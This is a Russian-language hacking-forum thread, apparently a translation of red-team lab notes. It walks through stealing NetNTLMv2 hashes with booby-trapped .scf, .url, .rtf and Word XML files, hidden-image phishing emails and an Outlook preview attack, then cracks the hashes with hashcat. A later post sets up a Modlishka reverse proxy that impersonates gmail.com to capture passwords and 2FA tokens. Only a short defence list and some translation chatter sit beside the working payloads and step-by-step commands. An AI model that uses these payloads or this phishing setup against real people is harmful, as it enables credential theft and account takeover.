Статья Наступательная Безопасность - Инфраструктура Красной команды

Принудительная аутентификация

Доступ к учетным данным, кража хэшей

Выполнение через гиперссылку

Давайте создадим документ Word с гиперссылкой на наш атакующий сервер, где ответчик будет прослушивать порт 445:

1668568878896.png


Давайте запустим Responder на нашем kali-боксе:

1668568889196.png


После перехода по ссылке в документе целевая система отправляет запрос аутентификации атакующему хосту. Поскольку ответчик прослушивает другой конец, хэш NetNTLMv2 жертвы перехватывается:

1668568903989.png


Затем полученный хэш можно взломать в автономном режиме с помощью hashcat:

hashcat -m5600 /usr/share/responder/logs/SMBv2-NTLMv2-SSP-10.0.0.2.txt /usr/share/wordlists/rockyou.txt --force

Успешно, пароль взломан:

1668568934328.png


Использование взломанного пароля для получения оболочки в системе жертвы:

1668568942237.png


Исполнение через .SCF

Поместите приведенный ниже файл fa.scf на компьютер, контролируемый злоумышленником, по адресу 10.0.0.7 в общей папке tools.

1668568953222.png


Пользователь-жертва low открывает общий ресурс \\10.0.0.7\tools, и fa.scf запускается автоматически, что, в свою очередь, заставляет систему-жертву попытаться аутентифицироваться в атакующей системе на 10.0.0.5, где респонер слушает адрес:

1668568962237.png


1668568975398.png


Что интересно с атакой .scf, так это то, что файл может быть легко загружен через браузер, и как только пользователь переходит в папку Загрузки, пользовательский хеш украден:

1668569051163.png


Исполнение через .URL

Создайте файл .url и загрузите его в систему жертвы:

1668569060137.png


Создайте прослушиватель в атакующей системе:

1668569068022.png


Как только жертва переходит на C:\, где находится файл link.url, ОС пытается аутентифицироваться на вредоносном прослушивателе SMB злоумышленника на 10.0.0.5, где захвачен хэш NetNTLMv2:

1668569075166.png


Исполнение через .RTF

Опасный .rtf-файл, который попытается загрузить образ из атакующей системы:

{\rtf1{\field{\*\fldinst {INCLUDEPICTURE "file://10.0.0.5/test.jpg" \\* MERGEFORMAT\\d}}{\fldrslt}}}

Запускаем слушателя аутентификации на атакующей системе:

1668569092219.png


Выполняем файла .rtf в системе-жертве выдает хэши пользователя:

1668569100395.png


Выполнение через .XML

Документы MS Word можно сохранить в формате .xml:

1668569107901.png


Это можно использовать, включив тег, который запрашивает таблицу стилей документа (строка 3) с сервера, контролируемого злоумышленником. Система-жертва поделится своими хэшами NetNTLM со злоумышленником при попытке пройти аутентификацию в системе злоумышленника:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?mso-application progid="Word.Document"?>
<?xml-stylesheet type="text/xsl" href="\\10.0.0.5\bad.xsl" ?>


Ниже показана атака:

1668569129055.png


Выполнение через поле IncludePicture

Создайте новый документ Word и вставьте новое поле IncludePicture:

1668569139095.png


Сохраните файл как .xml. Обратите внимание, что скрытая ссылка на изображение присутствует в XML:

1668569150186.png


Запуск документа сразу выдает хэши жертвы:

1668569159592.png


Выполнение через образ HTTP и внутренний DNS

Если у нас есть плацдарм в сети, мы можем сделать следующее:

- Создайте новую DNS-запись A (это может сделать любой аутентифицированный пользователь) внутри домена, скажем offense .local, у вас есть плацдарм, и укажите ее на внешний сервер, скажем, 1.1.1.1

- Для этого используйте PowerMad( https://github.com/Kevin-Robertson/Powermad) : Invoke-DNSUpdate -dnsname vpn -dnsdata 1.1.1.1

- На вашем контролируемом сервере 1.1.1.1 запустите Responder и прослушивайте HTTP-соединения на порту 80.

- Создайте фишинговое письмо, содержащее <img src = "http://vpn.offense.local"/>

- Не стесняйтесь делать изображение 1x1 px или скрытым

- Обратите внимание, что http://vpn.offense.local разрешается в 1.1.1.1 (где ваш ответчик прослушивает порт 80), но только внутри домена Offense.local.

- Отправьте фишинг целевым пользователям из домена offense .local

- Получатели фишинга просматривают электронное письмо, которое автоматически пытается загрузить изображение с http://vpn.offense.local, которое разрешается в http://1.1.1.1 (где Responder использует порт 80)

- Responder ловит хэши NetNLTMv2 для целевых пользователей без необходимости взаимодействия с пользователем

- Начинайте взламывать хэши

- Ожидайте профита

Фармер WebDav

Находясь внутри сети, мы можем попытаться вызвать утечку хэшей от других пользователей, заставив их аутентифицироваться на нашем сервере WebDav, который мы можем привязать к любому неиспользуемому порту без прав администратора. Для этого мы можем использовать инструмент под названием Farmer (https://github.com/mdsecactivebreach/Farmer) от @domchell (https://twitter.com/domchell?s=20) .

Ниже заставим фармера прослушивать порт 7443:

1668569181215.png


Ниже показано, как Farmer успешно собирает хэш для пользователя spotless, когда он вынужден проходить аутентификацию на вредоносном webdav при выполнении ls \\spotless@7443\spotless.png:

1668569189614.png


Ниже показано, как Farmer успешно собирает хеш от пользователя spotless с помощью ярлыка, который указывает на наш вредоносный веб-сайт по адресу \\spotless@3443\spotless.png:

1668569206709.png
 
Кража хэша NetNTLMv2 с помощью Outlook

Если целевая система не работает с последней версией Windows/Outlook, может быть возможно создать такое электронное письмо, которое позволит злоумышленнику украсть хэши NetNTLMv2 жертвы без какого-либо вмешательства со стороны пользователя — достаточно щелкнуть по электронной почте для предварительного просмотра чтобы украсть хэши.

Обратите внимание, что эта атака не работает на самых последних версиях Windows 10 и Outlook 2016, поэтому, как всегда, применяйте исправления как можно раньше и чаще.

Вооружение

Давайте создадим новый файл HTML со следующим:

1668569385942.png


Файл RTF также работает:

{\rtf1{\field{\*\fldinst {INCLUDEPICTURE "file://157.230.60.143/test.jpg" \\* MERGEFORMAT\\d}}{\fldrslt}}}

Затем вставьте новый файл, щелкнув значок вложения в верхней части строки заголовка окна:

1668569399854.png


Выберите вредоносный файл message.html и выберите Вставить как текст:

1668569406488.png


Вы должны увидеть, что ваше сообщение теперь выглядит как HTML с неработающим изображением (в нашем случае это ожидаемо, так как путь к изображению является поддельным):

1668569412347.png


Исполнение

Запустите Responder для прослушивания входящих запросов аутентификации SMB от жертвы.

1668569420150.png


..и отправьте вредоносное электронное письмо жертве.

Просмотр жертвы

Как только жертва откроет свой Outlook и нажмет на вредоносное письмо, чтобы просмотреть его, его машина попытается пройти аутентификацию на сервере, контролируемом злоумышленником (работает Responder). Это передаст злоумышленнику хэши NetNTLMv2 жертвы, которые он затем может попытаться взломать:

1668569429606.png


Как только хэш будет украден, мы можем попытаться его взломать:

hashcat -m5600 'spotless::OFFENSE:6bdb56c8140cf8dc:FFEF94D55C2EB2DE8CF13F140687AD7A:0101000000000000A5A01FB2BE9ED401114D47C1916811640000000002000E004E004F004D00410054004300480001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D004200310032000800300030000000000000000000000000200000407D7D30819F03909981529F6ACA84502CFCC8B3555DBA34316F8914973DD03C0A0010000000000000000000000000000000000009001A0063006900660073002F00310030002E0030002E0030002E0035000000000000000000' -a 3 /usr/share/wordlists/rockyou.txt --force --potfile-disable

В этом случае мы видим, что у пользователя был смехотворно простой пароль, который сразу же был взломан:

1668569458759.png


Следующим шагом будет использование Ruler для получения реверс оболочки из корпоративной сети жертвы:

Защита

- Пропатчить Windows и Outlook
- Блокировать исходящих SMB-подключений к Интернету
- Читать письма в виде обычного текста
- Использовать надежные пароли
 
Пожалуйста, обратите внимание, что пользователь заблокирован
yashechka пожалуйста не переводи термины при переводе
Можешь прям на английском их и оставлять либо в скобках давать перевод когда первый раз термин используется
 
yashechka пожалуйста не переводи термины при переводе
Можешь прям на английском их и оставлять либо в скобках давать перевод когда первый раз термин используется
Приведи пару примеров плиз.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Генерация бесступенчатой полезной нагрузки
Обход родительских и дочерних обнаружений / обнаружения предков
Типа такого.В первом случае гораздо лучше было бы написать stageless payload.
Да, смысл тот же,но на 1 слово меньше и что такое stageless payload можно загуглить,в отличии от "бесступенчатой полезной нагрузки"
Во втором случае что значит "предки" я даже не понял.Родительский процесс?
 
Типа такого.В первом случае гораздо лучше было бы написать stageless payload.
Да, смысл тот же,но на 1 слово меньше и что такое stageless payload можно загуглить,в отличии от "бесступенчатой полезной нагрузки"
Во втором случае что значит "предки" я даже не понял.Родительский процесс?
Понял хорошо. Ну тут про процесс, родитель и его потомок, а он наследник и это их родословная
 
Фишинг с обратным HTTP-прокси Modlishka

В этой лабораторной работе показано, как настроить реверс HTTP-прокси Modlishka, который можно использовать в фишинговых кампаниях для кражи паролей пользователей и токенов 2FA. Modlishka делает это возможным, потому что она находится посередине между веб-сайтом, который вы выдаете за хороший, и жертвой (MITM), записывая весь трафик/токены/ пароли, которые проходят через него.

Настрайка

Давайте начнем с создания нового дроплета DigitalOcean, самого маленького более чем достаточно:

Посмотреть вложение 44748

После входа в систему установите certbot и загрузите сам бинарный файл Modlishka:

apt install certbot
wget https://github.com/drk1wi/Modlishka/releases/download/v.1.1.0/Modlishka-linux-amd64
chmod +x Modlishka-linux-amd64 ; ls -lah

Посмотреть вложение 44749

Конфигурация Модлишки


Создадим конфигурационный файл для модлишки:

Посмотреть вложение 44750

{
//domain that you will be tricking your victim of visiting
"proxyDomain": "redteam.me",
"listeningAddress": "0.0.0.0",

//domain that you want your victim to think they are visiting
"target": "gmail.com",
"targetResources": "",
"targetRules": "PC9oZWFkPg==:",
"terminateTriggers": "",
"terminateRedirectUrl": "",
"trackingCookie": "id",
"trackingParam": "id",
"jsRules":"",
"forceHTTPS": false,
"forceHTTP": false,
"dynamicMode": false,
"debug": true,
"logPostOnly": false,
"disableSecurity": false,
"log": "requests.log",
"plugins": "all",
"cert": "",
"certKey": "",
"certPool": ""
}

Подстановочные сертификаты


Важно! Давайте создадим подстановочный сертификат для моего домена. Я хочу, чтобы мои жертвы фишинга попадали на *.redteam.me:

certbot certonly --manual --preferred-challenges=dns --server https://acme-v02.api.letsencrypt.org/directory --agree-tos -d *.redteam.me --email noreply@live.com

Это сгенерирует код вызова, как показано ниже:

Посмотреть вложение 44751

Нам нужно создать запись DNS TXT в консоли управления DNS для redteam.me, которая в моем случае находится в Digital Ocean:

Посмотреть вложение 44752

После создания записи DNS TXT продолжите создание сертификата:

Посмотреть вложение 44753

После создания сертификатов нам нужно преобразовать их в формат, подходящий для встраивания в объекты JSON:

awk '{printf "%s\\n", $0}' /etc/letsencrypt/live/redteam.me/fullchain.pem
awk '{printf "%s\\n", $0}' /etc/letsencrypt/live/redteam.me/privkey.pem


Посмотреть вложение 44754

Как только это будет сделано, скопируйте содержимое сертификатов в конфигурацию — fullchain.pem в сертификат и privkey.pem в certKey:

Посмотреть вложение 44755

Больше DNS-записей

Давайте создадим запись A для корневого хоста @, которая просто указывает на IP-адрес дроплета:

Посмотреть вложение 44756

Это очень важно - нам нужна запись CNAME для любого хоста/субдомена *, указывающая на @

Посмотреть вложение 44757

Запуск Modlishka

Теперь мы готовы начать тест, запустив modlishka и предоставив ей конфигурационный файл modlishka.json:

./Modlishka-linux-amd64 -config modlishka.json

Ниже показано, как при посещении redteam.me я получаю содержимое gmail.com, что свидетельствует о том, что Modlishka и MITM работают. Опять же, важно отметить это — мы не создавали никаких копий или шаблонов целевого веб-сайта — жертва на самом деле просматривает gmail, просто она обслуживается через Modlishka, где проверяется трафик и перехватываются пароли:

Посмотреть вложение 44758
Подскажите а возможно настроить свой субдомен а не дефолтные 15 рандомных символов
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх